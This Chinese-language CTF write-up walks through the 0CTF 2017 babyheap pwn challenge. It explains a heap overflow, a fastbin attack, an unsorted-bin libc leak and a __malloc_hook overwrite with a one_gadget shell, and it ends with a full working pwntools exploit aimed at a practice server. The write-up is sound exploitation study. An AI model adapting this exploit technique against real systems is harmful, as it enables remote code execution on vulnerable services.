【首道堆题】【fastbin attack】【unsorted bin main_arena leak】babyheap_0ctf_2017

Thursday, December 29, 2022
本文共2965字
6分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/%E9%A6%96%E9%81%93%E5%A0%86%E9%A2%98fastbin-attackunsorted-bin-main_arena-leakbabyheap_0ctf_2017/。商业转载请联系作者获得授权,非商业转载请注明出处!

It is only when the mind and character slumber that the dress can be seen. — Ralph Waldo Emerson

原题链接

这一题是作者的第一道堆题,给作者的第一感受就是神乎其神,在参考了网络上的一些 WP 后写下自己的 WP,如有错误烦请斧正

参考文章

checksec 查看程序架构

$ checksec --file babyheap_0ctf_2017
[*] '/home/peterl/security/workspace/babyheap_0ctf_2017/babyheap_0ctf_2017'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ida 查看程序伪代码

这个程序故意把.symtab节删掉了,所以没有函数名称,这里作者在 ida 中简单地重命名了一下

202209292103342022-09-29-21-03-35

allocate

202209292105552022-09-29-21-05-56

这个函数会分配一个大小小于 4096 的内存块(不存在符号位漏洞),而我们知道这个内存块会是从 top_chunk 中分割出来的:

202209292115172022-09-29-21-15-18

然后,malloc 会返回指向 chunk 中size 的尾部,user_data 的首部,同时也是 fd 指针的首部的指针,而这个指针会存放在一个大数组中,而这个大数组是以三个单元为一个实体的,可以看作它是一个结构体数组,这个结构体数组的构造如下:

202209292123132022-09-29-21-23-14

fill

202209292106262022-09-29-21-06-27

这个函数在检查内存是否可用(标志是否为 1)后会向对应索引的内存中填入任意大小的数据,这个数据长度是由用户随意指定的!!这里就出现了堆溢出漏洞

Free

202209292106572022-09-29-21-06-57

在检查标志位是否为 1 后,它会将标识位、size 置零,并释放内存

dump

202209292107322022-09-29-21-07-32

这个函数在检查标志位是否为 1 后,会将内存中的内容打印出来

基本思路

我们想一下这么一件事:在我们的结构体数组中,理论上每一个结构体内的内存地址是不一样的,而且如果内存被释放,标志位也会被置零,从而也就无法访问。

那么问题来了,如果我们让两个结构体内的指针都指向同一块内存,那么就算这块内存已被释放,我们仍然可以通过另一个指针访问这块已被释放的空间

同时,我们知道三件事:

  • 当用户需要的 chunk 的大小小于 fastbin 的最大大小时, ptmalloc 会首先判断 fastbin 中相应的 bin 中是否有对应大小的空闲块,如果有的话,就会直接从这个 bin 中获取 chunk(默认最大大小为(64 * SIZE_SZ / 4),32 位为 64=0x40 字节,64 位为 128=0x80 字节)
  • 如果 unsorted bin 内有且仅有一块 chunk 时,这块 chunk 的 fd 指针和 bk 指针都会指向main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20
  • 如果malloc_hook存在,malloc先调用__malloc_hook的值指向的函数

那么,假设我们能获得一个指向 unsorted bin 中唯一 chunk 的指针,我们就能成功获得 libc 基址。

而如果我们拥有了一个指向 fast bin 中 chunk 的指针,那么我们就能够更改其 fd 指针,从而控制 malloc 到的地址的值,从而我们能够修改任何地址的内容

然后,我们就可以更改__malloc_hook的值,从而更改malloc的行为

构建 exp

针对四个选项编写四个输入函数

def allocate(size: int):
    p.clean()
    p.sendline(str(1))
    p.clean()
    p.sendline(str(size))


def fill(index: int, payload: bytes):
    p.clean()
    p.sendline(str(2))
    p.clean()
    p.sendline(str(index))
    p.clean()
    p.sendline(str(len(payload)))
    p.clean()
    p.sendline(payload)


def free(index: int):
    p.clean()
    p.sendline(str(3))
    p.clean()
    p.sendline(str(index))


def dump(index: int) -> bytes:
    p.clean()
    p.sendline(str(4))
    p.clean()
    p.sendline(str(index))
    p.recvline()
    return p.recvuntil("\n")[:-1]

得到初始 chunk

我们需要分配几个 chunk,其中有且仅有一个大小超过 fast bin 的限制,会被放进 unsorted bin 中

然后我们会 allocate 两次,一次是正常的 fast bin 里面的内容,一次指向会被放入 unsorted bin 中的大 chunk。

那么我们可以先划出 4 个 0x10 的 chunk(size 位=prev_size+size+prev_inuse+0x10=0x20),再划出一块 0x80 大小的 chunk 用以放进 unsorted bin 中:

tmp.drawio2022-09-30-15-48-51

因此我们可以初始分配五个 chunk:

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

安排指向 chunk 4 的指针

我们只要覆写了 chunk 2 的 fd 指针,让它指向 chunk 4,那么我们在第二次 allocate 的时候,得到的就是指向 chunk 4 的指针

具体步骤:

这里我们先把 chunk 1 和 chunk 2 free 掉,这样子 chunk 1 和 chunk 2 的fd指针就生效了。

又因为我们可以向一块chunk内填入任意大小的数据,我们就可以通过将payload1填进chunk0用以覆写chunk2的fd指针

然后为了保证chunk4被正确分配,我们可以将payload2填入chunk3中,用以覆写chunk4的size

这里要注意的是,chunk 4 的 size 位要设置成 0x21,不然在allocate(0x10)的时候,因为大小不一样,malloc 时是没有办法分配到 chunk 4 的

然后我们就可以allocate两次,第二次分配到的就是chunk4了,这时chunk2指向的也是chunk4了。

需要注意的是,我们需要将chunk 4 的size位恢复原状,因为我们下一步是要把chunk 4放入unsorted bin中

free(1)
free(2)

payload1 = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0, payload1)
# 覆盖size位
payload2 = p64(0)*3 + p64(0x21)
fill(3, payload2)

allocate(0x10)
# 得到chunk4指针
allocate(0x10)
# 恢复size位
payload3 = p64(0)*3 + p64(0x91)
fill(3, payload3)

将chunk 4放进unsorted bin中获取libc基址

我们不能直接把chunk 4 free掉,因为chunk 4和top chunk相邻,直接free掉会使chunk 4并入top chunk

因此我们allocate一个chunk 5,然后free掉chunk 4,又因为此时chunk 4虽然由于标志位为0不可访问,但是chunk 2仍能被dump函数识别为未释放的空间,从而读取内容。

因此,我们直接dump chunk 2,减去固定值0x3c4b78,就得到了libc基址

allocate(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, b"\x00"))-0x3c4b78
success("libc_base: "+hex(libc_base))

覆写任意地址的数据

当我们通过覆写chunk 2的fd位的时候,我们应该已经发现了,通过这种方式,我们可以将fd位覆写为任意我们喜欢的地址

我们可以通过覆写code段中的__malloc_hook函数来改变malloc的行为,这个函数的详细说明见此,这里贴一段我们这个程序要用到的说明:

202210022048522022-10-02-20-48-53

可以看到,__malloc_hook函数的值是malloc会在它被call的时候使用的函数指针,所以,我们只需要更改__malloc_hook的值,我们就能更改malloc的行为

__malloc_hook函数的偏移存在sym表中:

$ readelf -aW libc-2.23.so | grep hook
00000000003c3dc8  000006fb00000006 R_X86_64_GLOB_DAT      00000000003c67b0 __malloc_initialize_hook@@GLIBC_2.2.5 + 0
00000000003c3ea8  000001e700000006 R_X86_64_GLOB_DAT      00000000003c9560 argp_program_version_hook@@GLIBC_2.2.5 + 0
00000000003c3eb0  0000072200000006 R_X86_64_GLOB_DAT      00000000003c67a0 __after_morecore_hook@@GLIBC_2.2.5 + 0
00000000003c3ee0  000008ae00000006 R_X86_64_GLOB_DAT      00000000003c4b00 __memalign_hook@@GLIBC_2.2.5 + 0
00000000003c3ef0  0000044000000006 R_X86_64_GLOB_DAT      00000000003c4b10 __malloc_hook@@GLIBC_2.2.5 + 0
00000000003c3ef8  000000d600000006 R_X86_64_GLOB_DAT      00000000003c67a8 __free_hook@@GLIBC_2.2.5 + 0
00000000003c3fd0  000005cb00000006 R_X86_64_GLOB_DAT      00000000003c4b08 __realloc_hook@@GLIBC_2.2.5 + 0
   214: 00000000003c67a8     8 OBJECT  WEAK   DEFAULT   34 __free_hook@@GLIBC_2.2.5
   487: 00000000003c9560     8 OBJECT  GLOBAL DEFAULT   34 argp_program_version_hook@@GLIBC_2.2.5
   958: 00000000003c92e0     8 OBJECT  GLOBAL DEFAULT   34 _dl_open_hook@@GLIBC_PRIVATE
  1088: 00000000003c4b10     8 OBJECT  WEAK   DEFAULT   33 __malloc_hook@@GLIBC_2.2.5
  1483: 00000000003c4b08     8 OBJECT  WEAK   DEFAULT   33 __realloc_hook@@GLIBC_2.2.5
  1787: 00000000003c67b0     8 OBJECT  WEAK   DEFAULT   34 __malloc_initialize_hook@@GLIBC_2.2.5
  1826: 00000000003c67a0     8 OBJECT  WEAK   DEFAULT   34 __after_morecore_hook@@GLIBC_2.2.5
  2222: 00000000003c4b00     8 OBJECT  WEAK   DEFAULT   33 __memalign_hook@@GLIBC_2.2.5

注意,因为默认输出宽度限制的原因,只用readelf -a命令无法输出__malloc_hook而是__m[…],必须加上-W或者--width选项才能加宽

这里有一个小技巧,在__malloc_hook-0x23处malloc可以使size位刚好为0x7f,这样子就可以更改__malloc_hook的值

我们再用one_gadget命令找一下可用的gadget:

$ one_gadget libc-2.23.so
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

因为有些gadget对栈有要求,所以只有一些可以用。试了一下,第二个刚好是可以用的

allocate(0x60)
free(4)

# 更改fd指针
payload4 = p64(libc_base+libc.sym['__malloc_hook']-0x23)
fill(2, payload4)
allocate(0x60)
allocate(0x60)

# 更改__malloc_hook的值
# prev_size+size=0x10,然后要填充0x13的空位才能到__malloc_hook的位置
payload5 = p8(0)*3 + p64(0)*2 + p64(libc_base+0x4526a)
fill(6, payload5)

然后allocate任意一个值就可以得到shell啦

完整exp


from pwn import *
from pwn import p64, p32, u32, u64, p8
import sys
from LibcSearcher import LibcSearcher

pss: bool = True
fn: str = "./babyheap_0ctf_2017"
libc_name: str = "./libc-2.23.so"
port: str = "25943"
if_32: bool = False
if_debug: bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, "b* 0x1329")
    else:
        p = process(["ld-2.23.so", fn], env={"LD_PRELOAD": libc_name})
        # p = process(fn)

libc = ELF(libc_name)

def allocate(size: int):
    p.clean()
    p.sendline(str(1))
    p.clean()
    p.sendline(str(size))


def fill(index: int, payload: bytes):
    p.clean()
    p.sendline(str(2))
    p.clean()
    p.sendline(str(index))
    p.clean()
    p.sendline(str(len(payload)))
    p.clean()
    p.sendline(payload)


def free(index: int):
    p.clean()
    p.sendline(str(3))
    p.clean()
    p.sendline(str(index))


def dump(index: int) -> bytes:
    p.clean()
    p.sendline(str(4))
    p.clean()
    p.sendline(str(index))
    p.recvline()
    return p.recvuntil("\n")[:-1]


allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

# gdb.attach(p)

free(1)
free(2)

# gdb.attach(p)

payload1 = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0, payload1)
payload2 = p64(0)*3 + p64(0x21)
fill(3, payload2)

allocate(0x10)
allocate(0x10)
payload3 = p64(0)*3 + p64(0x91)
fill(3, payload3)
allocate(0x80)
free(4)

# gdb.attach(p)

libc_base = u64(dump(2)[:8].strip().ljust(8, b"\x00"))-0x3c4b78
success("libc_base: "+hex(libc_base))

allocate(0x60)
free(4)

# gdb.attach(p)

payload4 = p64(libc_base+libc.sym['__malloc_hook']-0x23)
fill(2, payload4)
allocate(0x60)
allocate(0x60)

# gdb.attach(p)

payload5 = p8(0)*3 + p64(0)*2 + p64(libc_base+0x4526a)
fill(6, payload5)

# gdb.attach(p)

allocate(0x10)
p.clean()
p.interactive()